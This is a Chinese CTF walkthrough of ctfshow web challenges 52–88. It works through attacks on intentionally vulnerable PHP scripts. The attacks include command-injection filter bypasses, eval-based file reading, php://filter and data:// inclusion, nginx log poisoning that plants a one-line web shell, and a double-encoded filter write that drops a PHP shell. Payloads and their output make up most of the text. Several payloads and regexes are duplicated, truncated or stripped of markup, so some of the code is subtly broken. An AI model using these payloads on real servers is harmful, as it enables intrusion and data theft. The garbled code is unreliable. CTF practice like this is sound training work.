http://384cb39b-f1e6-487c-8efc-ecf8a4d229bd.challenge.ctf.show/?c=cp I F S f l a ? . p h p {IFS}fla?.php IFSfla?.php{IFS}a.txt%7C%7Cls

过滤了数字,所示使用a.txt

查看ls后

http://384cb39b-f1e6-487c-8efc-ecf8a4d229bd.challenge.ctf.show/?c=ls%7C%7Cls

a.txt flag.php index.php

查看复制过的

http://384cb39b-f1e6-487c-8efc-ecf8a4d229bd.challenge.ctf.show/?c=nl${IFS}?.txt%7C%7Cls

回显如下:

?php
     2	
     3	/*
     4	# -*- coding: utf-8 -*-
     5	# @Author: h1xa
     6	# @Date:   2020-09-05 20:49:44
     7	# @Last Modified by:   h1xa
     8	# @Last Modified time: 2020-09-05 20:49:53
     9	# @email: [email protected]
    10	# @link: https://ctfer.com
    11	
    12	*/
    13	
    14	
    15	$flag="flag_here";

好家伙,不在这里。遍历全局

http://384cb39b-f1e6-487c-8efc-ecf8a4d229bd.challenge.ctf.show/?c=ls I F S / {IFS}/ IFS/{IFS}%7C%7Cls

bin dev etc flag home lib media mnt opt proc root run sbin srv sys tmp usr var

直接cp flag

http://384cb39b-f1e6-487c-8efc-ecf8a4d229bd.challenge.ctf.show/?c=ls I F S / {IFS}/ IFS/fla?%7C%7Cls

无回显

要不是空目录要不是一个文件

尝试文件复制

http://384cb39b-f1e6-487c-8efc-ecf8a4d229bd.challenge.ctf.show/?c=cp I F S / f l a ? {IFS}/fla? IFS/fla?{IFS}b.txt%7C%7Cls

查看

http://384cb39b-f1e6-487c-8efc-ecf8a4d229bd.challenge.ctf.show/?c=ls%7C%7Cls

回显成功

查看复制的文件

http://384cb39b-f1e6-487c-8efc-ecf8a4d229bd.challenge.ctf.show/?c=nl${IFS}b.txt%7C%7Cls

1 ctfshow{caf4c161-d5ec-4215-bb43-45f091d799a7} 

web53



/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 18:21:02
# @email: [email protected]
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\, $c)){
        echo($c);
        $d = system($c);
        echo "
"
.$d; }else{ echo 'no'; } }else{ highlight_file(__FILE__); }

system成功的话返回最后一段,否则为false

http://82baa6a1-7fed-41c4-843d-26903a052400.challenge.ctf.show/?c=nl${IFS}fla?.php

nl${IFS}fla?.php     1	    15	$flag="ctfshow{6ee3394a-7785-452f-b438-ce2b136d6eab}";

web54

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 19:43:42
# @email: [email protected]
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\, $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
} 

过滤巨多

不能使用’'绕过

http://9aa77d70-dd87-435f-9f70-30cb4738a402.challenge.ctf.show/?c=ls

flag.php index.php 

原本未有变化

发现未过滤mv

http://9aa77d70-dd87-435f-9f70-30cb4738a402.challenge.ctf.show/?c=mv I F S f l a ? . p h p {IFS}fla?.php IFSfla?.php{IFS}b.txt

ls

b.txt index.php

http://9aa77d70-dd87-435f-9f70-30cb4738a402.challenge.ctf.show/b.txt

直接使用

web55



/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 20:03:51
# @email: [email protected]
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\, $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
} 

过滤了a-z的字母

没有·.·,.在linux下可以执行脚本文件

考虑文件上传

https://blog.csdn.net/qq_46091464/article/details/108513145

web56

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: [email protected]
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\, $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
} 

多过滤了

web57



/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-08 01:02:56
# @email: [email protected]
# @link: https://ctfer.com
*/

// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
} 

只用构造36.php绕过过滤即可

url

http://1c78a6f5-a9a5-4452-b093-1074f6bbb077.challenge.ctf.show/?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))))))

原理:

原理是:
${_}=""
$((${_}))=0
$((~$((${_}))))=-1
然后拼接出-36在进行取反

注意的是:${_}会输出上一次的执行结果

?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-07 19:40:53
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 19:41:00
# @email: [email protected]
# @link: https://ctfer.com

*/


$flag="ctfshow{5d167e95-84d5-4334-adea-a80cf8b9d684}"

web58

禁用函数



/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: [email protected]
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
} 

尝试

phpinfo

 Warning: phpinfo() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1

echo函数

成功!

c=echo `ls`;
 Warning: shell_exec() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1

禁止了exec的shell脚本执行

c=show_source(‘flag.php’);

没有禁用文件读取

c=show_source('flag.php');
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-07 19:40:53
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 19:41:00
# @email: [email protected]
# @link: https://ctfer.com

*/


$flag="ctfshow{349ab621-1b2a-451e-a177-34f42de232a2}"; 

web59



/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: [email protected]
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
} 

与上题目一致

只不过命令禁止更加严格

c=echo file_get_contenets('flag.php');
 Fatal error: Uncaught Error: Call to undefined function file_get_contenets() in /var/www/html/index.php(17) : eval()'d code:1 Stack trace: #0 /var/www/html/index.php(17): eval() #1 {main} thrown in /var/www/html/index.php(17) : eval()'d code on line 1

被禁用

尝试之后与上体方法一致

c=show_source('flag.php');

web60



/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: [email protected]
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
} 

直接操作c

eval

c=show_source('flag.php');

web61

和上一题一样

解法一致

web62

解法一样

web63

解法一样

web64

解法一样

web65

解法一样

web66



/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-07 19:40:53
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 19:41:00
# @email: [email protected]
# @link: https://ctfer.com

*/


$flag="秀秀得了,这次不在这里"; 
使用highlight_file之后

换!

c=var_dump(scandir('.'));

查看名称

未改名称

var_dump() 函数用于输出变量的相关信息。

var_dump() 函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构。

array(21) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(3) "dev" [5]=> string(3) "etc" [6]=> string(8) "flag.txt" [7]=> string(4) "home" [8]=> string(3) "lib" [9]=> string(5) "media" [10]=> string(3) "mnt" [11]=> string(3) "opt" [12]=> string(4) "proc" [13]=> string(4) "root" [14]=> string(3) "run" [15]=> string(4) "sbin" [16]=> string(3) "srv" [17]=> string(3) "sys" [18]=> string(3) "tmp" [19]=> string(3) "usr" [20]=> string(3) "var" } 

可以查看到flag.txt

然后访问即可

web67

一样

web68

 Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19

直接禁用了highlight_file()文件

所以直接

先扫盘

看到flag.txt

c=include('/flag.txt');

直接出来因为不是php标签

web69

一样

web70

一样

web71

Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14

Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15

Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 24
你要上天吗? 

上来直接报错?

下载附件

如下



/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: [email protected]
# @link: https://ctfer.com

*/

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>

你要上天吗?

好多函数

匹配正则表达式,将符号换成?

ob_get_contents — 返回输出缓冲区的内容

范例 ¶

示例 #1 *ob_get_contents()* 简单示例

 <?php
 ob_start();
 echo "Hello ";
 $out1 = ob_get_contents();
 echo "World";
 $out2 = ob_get_contents();
 ob_end_clean();
 var_dump($out1, $out2);
 ?> 

以上例程会输出:

string(6) "Hello "
string(11) "Hello World"

ob_end_clean清空缓冲区

这个题目不给报错信息

所以考虑中断

c=include(‘/flag.txt’);exit();

Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14

Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15
ctfshow{90c8da50-b3d9-4045-bf2c-59e6156e0c15} 

成功

web72

web71方法找不到文件

**Warning**:  include(/flag.txt): failed to open stream: No such file or directory in **/var/www/html/index.php(19) : eval()'d code** on line **1**

所以查看文件

 Warning: var_dump() has been disabled for security reasons in /var/www/html/index.php(19) : eval()'d code on line 1

禁止了var_dump函数

看到

Warning: scandir(): open_basedir restriction in effect. File(/) is not within the allowed path(s): (/var/www/html/) in /var/www/html/index.php(19) : eval()'d code on line 1

c=?><?php
$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
} 
exit(0);
?>
//通过这个发现flag在flag0.txt
//之后利用uaf的脚本进行命令执行

使用提示查看

web73

web74

include是可以的

web75

web76

web77

web118

CTFSHOW WEB 1-100_第34张图片

查看如下

DOCTYPE html>
<html lang="zh-cn">
<head>
    <meta http-equiv="Content-type" content="text/html; charset=utf-8" />
    <link rel="stylesheet" href="style.css">
head>
<body>
    
    <div style="width:400px;height:10px;margin:100px auto">
        <form action='' method=post> 
            <input type='text' name='code' placeholder="给你打开一扇通往结界的窗户,可惜钥匙你是找不到的 ">
        form>
		
    div>
body>
html>

有提示

直接

抓包得出结论这里直接输入code作为执行

${PATH:~A}${PATH:${#TERM}:${SHLVL:~A}} ????.???

构造环境变量

成功

文件包含

web78

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 10:52:43
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 10:54:20
# @email: [email protected]
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
} 

http://d634471a-2b93-49a7-a1b1-84a0e857dae4.challenge.ctf.show/?file=php://filter/convert.base64-encode/resource=flag.php

?file=php://filter/convert.base64-encode/resource=flag.php

php特性

web79

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:10:14
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 11:12:38
# @email: [email protected]
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
} 

过滤了php,此题目中当file变量为php的话会将php替换为???

所以这个base64的php的伪协议失败

data://协议

data://:需满足allow_url_fopenallow_url_include同时开启才能使用,使用如下:

file.php?file=data://text/plain,
file.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
file.php?file=data:text/plain,<?php phpinfo()?>
file.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

http://41fe0f0e-d480-4535-9281-00a83cc75bcd.challenge.ctf.show/?file=data://text/plain,

url注入之后

未见到明显图标

查看代码可得


url

http://41fe0f0e-d480-4535-9281-00a83cc75bcd.challenge.ctf.show/?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKSA/Pg==

 system('cat flag.php') ?>

的base64的加密来绕过php的检查

web80

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 11:26:29
# @email: [email protected]
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
} 

这题加上了data的限制

本关过滤了php和data应该是不允许使用伪协议,但是可以正常包含,采用包含日志文件的方式。

日志文件中包含了 url以及ua信息等,这里ua最容易控制,抓包改ua,写入一句话即可。

写入agent

成功回显

172.12.0.6 - - [24/Dec/2022:10:50:58 +0000] "GET / HTTP/1.1" 200 2291 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0" 172.12.0.6 - - [24/Dec/2022:10:52:36 +0000] "GET /?file=/var/log/nginx/access.log HTTP/1.1" 200 168 "http://69e9b5b3-6f61-4718-b5f1-f71fea6ce5ce.challenge.ctf.show/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0" 172.12.0.6 - - [24/Dec/2022:10:52:45 +0000] "GET /?file=/var/log/nginx/access.log HTTP/1.1" 200 418 "http://69e9b5b3-6f61-4718-b5f1-f71fea6ce5ce.challenge.ctf.show/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0" 172.12.0.6 - - [24/Dec/2022:10:54:04 +0000] "GET / HTTP/1.1" 200 2291 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0" 172.12.0.6 - - [24/Dec/2022:10:54:12 +0000] "GET /?file=flag.??? HTTP/1.1" 200 333 "http://69e9b5b3-6f61-4718-b5f1-f71fea6ce5ce.challenge.ctf.show/?file=/var/log/nginx/access.log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0" 172.12.0.6 - - [24/Dec/2022:10:56:59 +0000] "GET /?file= HTTP/1.1" 200 293 "http://69e9b5b3-6f61-4718-b5f1-f71fea6ce5ce.challenge.ctf.show/?file=/var/log/nginx/access.log" "fl0g.php index.php " 172.12.0.6 - - [24/Dec/2022:10:57:00 +0000] "GET /?file= HTTP/1.1" 200 293 "http://69e9b5b3-6f61-4718-b5f1-f71fea6ce5ce.challenge.ctf.show/?file=" "fl0g.php index.php " 172.12.0.6 - - [24/Dec/2022:10:57:01 +0000] "GET /?file= HTTP/1.1" 200 293 "http://69e9b5b3-6f61-4718-b5f1-f71fea6ce5ce.challenge.ctf.show/?file=" "fl0g.php index.php " 

更改

agent

写入了木马

http://69e9b5b3-6f61-4718-b5f1-f71fea6ce5ce.challenge.ctf.show/?file=/var/log/nginx/access.log&2=system('tac /var/www/html/fl0g.php');

url如上查看fl0g.php

172.12.0.6 - - [24/Dec/2022:10:50:58 +0000] "GET / HTTP/1.1" 200 2291 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0"
172.12.0.6 - - [24/Dec/2022:10:52:36 +0000] "GET /?file=/var/log/nginx/access.log HTTP/1.1" 200 168 "http://69e9b5b3-6f61-4718-b5f1-f71fea6ce5ce.challenge.ctf.show/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0"
172.12.0.6 - - [24/Dec/2022:10:52:45 +0000] "GET /?file=/var/log/nginx/access.log HTTP/1.1" 200 418 "http://69e9b5b3-6f61-4718-b5f1-f71fea6ce5ce.challenge.ctf.show/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0"
172.12.0.6 - - [24/Dec/2022:10:54:04 +0000] "GET / HTTP/1.1" 200 2291 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0"
172.12.0.6 - - [24/Dec/2022:10:54:12 +0000] "GET /?file=flag.??? HTTP/1.1" 200 333 "http://69e9b5b3-6f61-4718-b5f1-f71fea6ce5ce.challenge.ctf.show/?file=/var/log/nginx/access.log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0"
172.12.0.6 - - [24/Dec/2022:10:56:59 +0000] "GET /?file= HTTP/1.1" 200 293 "http://69e9b5b3-6f61-4718-b5f1-f71fea6ce5ce.challenge.ctf.show/?file=/var/log/nginx/access.log" "fl0g.php
index.php
"
172.12.0.6 - - [24/Dec/2022:10:57:00 +0000] "GET /?file= HTTP/1.1" 200 293 "http://69e9b5b3-6f61-4718-b5f1-f71fea6ce5ce.challenge.ctf.show/?file=" "fl0g.php
index.php
"
172.12.0.6 - - [24/Dec/2022:10:57:01 +0000] "GET /?file= HTTP/1.1" 200 293 "http://69e9b5b3-6f61-4718-b5f1-f71fea6ce5ce.challenge.ctf.show/?file=" "fl0g.php
index.php
"
172.12.0.6 - - [24/Dec/2022:10:57:14 +0000] "GET /?file=/var/log/nginx/access.log HTTP/1.1" 200 1619 "http://69e9b5b3-6f61-4718-b5f1-f71fea6ce5ce.challenge.ctf.show/?file=" "fl0g.php
index.php
"
172.12.0.6 - - [24/Dec/2022:10:57:14 +0000] "GET /favicon.ico HTTP/1.1" 200 2291 "http://69e9b5b3-6f61-4718-b5f1-f71fea6ce5ce.challenge.ctf.show/?file=/var/log/nginx/access.log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0"
172.12.0.6 - - [24/Dec/2022:10:58:48 +0000] "GET /?file=/var/log/nginx/access.log HTTP/1.1" 200 2075 "http://69e9b5b3-6f61-4718-b5f1-f71fea6ce5ce.challenge.ctf.show/?file=/var/log/nginx/access.log" ""
172.12.0.6 - - [24/Dec/2022:10:58:48 +0000] "GET /favicon.ico HTTP/1.1" 200 2291 "http://69e9b5b3-6f61-4718-b5f1-f71fea6ce5ce.challenge.ctf.show/?file=/var/log/nginx/access.log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0"
172.12.0.6 - - [24/Dec/2022:10:59:01 +0000] "GET /?file=/var/log/nginx/access.log HTTP/1.1" 200 2537 "http://69e9b5b3-6f61-4718-b5f1-f71fea6ce5ce.challenge.ctf.show/?file=/var/log/nginx/access.log" "

找到flag

web81

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 15:51:31
# @email: [email protected]
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
} 

又多过滤了:

先沿用上面的方法

看看日志是否有用

有用,然后

添加病毒

http://bd3b6269-d21e-4ea7-94c1-66a98bfbcdab.challenge.ctf.show/?file=/var/log/nginx/access.log&2=system('cat fl0g.php');
172.12.0.6 - - [24/Dec/2022:11:04:40 +0000] "GET / HTTP/1.1" 200 2741 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0"
172.12.0.6 - - [24/Dec/2022:11:04:40 +0000] "GET /favicon.ico HTTP/1.1" 200 2741 "http://bd3b6269-d21e-4ea7-94c1-66a98bfbcdab.challenge.ctf.show/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0"
172.12.0.6 - - [24/Dec/2022:11:06:07 +0000] "GET /?file=/var/log/nginx/access.log HTTP/1.1" 200 399 "http://bd3b6269-d21e-4ea7-94c1-66a98bfbcdab.challenge.ctf.show/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0"
172.12.0.6 - - [24/Dec/2022:11:06:40 +0000] "GET /?file=/var/log/nginx/access.log HTTP/1.1" 200 648 "http://bd3b6269-d21e-4ea7-94c1-66a98bfbcdab.challenge.ctf.show/?file=/var/log/nginx/access.log" ""
172.12.0.6 - - [24/Dec/2022:11:07:02 +0000] "GET /?file=/var/log/nginx/access.log HTTP/1.1" 200 848 "http://bd3b6269-d21e-4ea7-94c1-66a98bfbcdab.challenge.ctf.show/?file=/var/log/nginx/access.log" "fl0g.php
index.php
"
172.12.0.6 - - [24/Dec/2022:11:07:02 +0000] "GET /favicon.ico HTTP/1.1" 200 2741 "http://bd3b6269-d21e-4ea7-94c1-66a98bfbcdab.challenge.ctf.show/?file=/var/log/nginx/access.log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0"
172.12.0.6 - - [24/Dec/2022:11:07:16 +0000] "GET /?file=/var/log/nginx/access.log HTTP/1.1" 200 1328 "http://bd3b6269-d21e-4ea7-94c1-66a98bfbcdab.challenge.ctf.show/?file=/var/log/nginx/access.log" "

所以这个题目思路和上一题思路差不多

web82-web86

特点时间开放题目

web87

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 21:57:55
# @email: [email protected]
# @link: https://ctfer.com

*/

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "".$content);
}else{
    highlight_file(__FILE__);
} 

过滤了php,data,:,.

file_put_contents()
定义和用法

file_put_contents() 函数把一个字符串写入文件中。

与依次调用 fopen(),fwrite() 以及 fclose() 功能一样。

语法
file_put_contents(file,data,mode,context)
参数 描述
file 必需。规定要写入数据的文件。如果文件不存在,则创建一个新文件。
data 可选。规定要写入文件的数据。可以是字符串、数组或数据流。
mode 可选。规定如何打开/写入文件。可能的值: FILE_USE_INCLUDE_PATH FILE_APPEND LOCK_EX
context 可选。规定文件句柄的环境。 context 是一套可以修改流的行为的选项。若使用 null,则忽略。
说明

参数 data 可以是数组(但不能是多维数组)。

自 PHP 5.1.0 起,data 参数也可以被指定为 stream 资源,stream 中所保存的缓存数据将被写入到指定文件中,这种用法就相似于使用 stream_copy_to_stream() 函数。

context 参数的支持是 PHP 5.0.0 添加的。

返回值

该函数将返回写入到文件内数据的字节数。

实例

输出:

26
urldecode

urldecode() 解码 URL 字符串函数。

此函数用于解码给出的已编码字符串中的任何 %##以及中文等被编码的内容。 (加号(‘+’)被解码成一个空格字符)。

该函数经常被使用于php解码URL中的中文字符串。

实例

上面的代码将输出:

w3cschool你好
解题

使用之前的file=/var/log/nginx/access.log的.被过滤和替换

参考文章

https://www.leavesongs.com/PENETRATION/php-filter-magic.html?page=2#reply-list

分析代码,首先php被禁用了,这个伪协议用不了,data也被禁用了,但是在最后有显示urldecode,我们要把传入的参数进行二次加密,那么问题来了,这个函数是写入文件的,但是我们看到会直接die,但是我们使用rot13编码后可以将它变成乱码,问题不大

payload?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%31%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%32%25%32%65%25%37%30%25%36%38%25%37%30

意思就是?file=php://filter/string.rot13/resource=2.php

然后payloadcontent=

然后访问2.php

payload2=system('tac *');

$flag="ctfshow{d5083718-9ed3-476e-b9c0-0783b692cad5}"; */ # @link: https://ctfer.com # @email: [email protected] # @Last Modified time: 2020-09-16 11:25:00 # @Last Modified by: h1xa # @Date: 2020-09-16 11:24:37 # @Author: h1xa # -*- coding: utf-8 -*- /

file时需要两次urlencode,这样可以绕过过滤(第一次解码是自动解码,此时字符串里面没有诸如php的字符,第二次解码是代码中的urldecode(),这时候恢复成正常的写过滤器。如果只有一次编码,就不能绕过过滤了)。注意,hackbar没办法进行全编码,使用其他的在线工具就行了。
再看content,如果正常传入php代码,则会因为前头die()的原因直接退出,所以需要使用写过滤器去写入,可以时base64过滤器或者rot13,这样在写入file文件时候自动解码,连带着前头的一起,就会破坏掉这句die()了。

那么传入的file如下:

/?file=php://filter/write=convert.base64-decode/resource=1.php
//两次urlencode后
/?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30

content的内容(但注意的是前面剩下phpdie,一共6个字符,所以需要再加2个字符变8个,因为base64算法解码时是4个byte一组):

content=<?php system('tac f*.php');?>
//base64编码 
content=aaPD9waHAgc3lzdGVtKCd0YWMgZioucGhwJyk7Pz4=

或者也可以使用rot13过滤器与编码,也是一个道理:
传入的file如下:

/?file=php://filter/write=string.rot13/resource=2.php
//两次urlencode后
/?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%31%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%32%25%32%65%25%37%30%25%36%38%25%37%30

content的内容如下(两次rot13后会变成原样):

content=<?php system('tac f*.php');?>
//rot13编码后:
content=<?cuc flfgrz('gnp s*.cuc');?>

web88



/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-17 02:27:25
# @email: [email protected]
# @link: https://ctfer.com

 */
if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
        die("error");
    }
    include($file);
}else{
    highlight_file(__FILE__);
} 

正则表达式过滤

过滤挺多 php ~ ! @

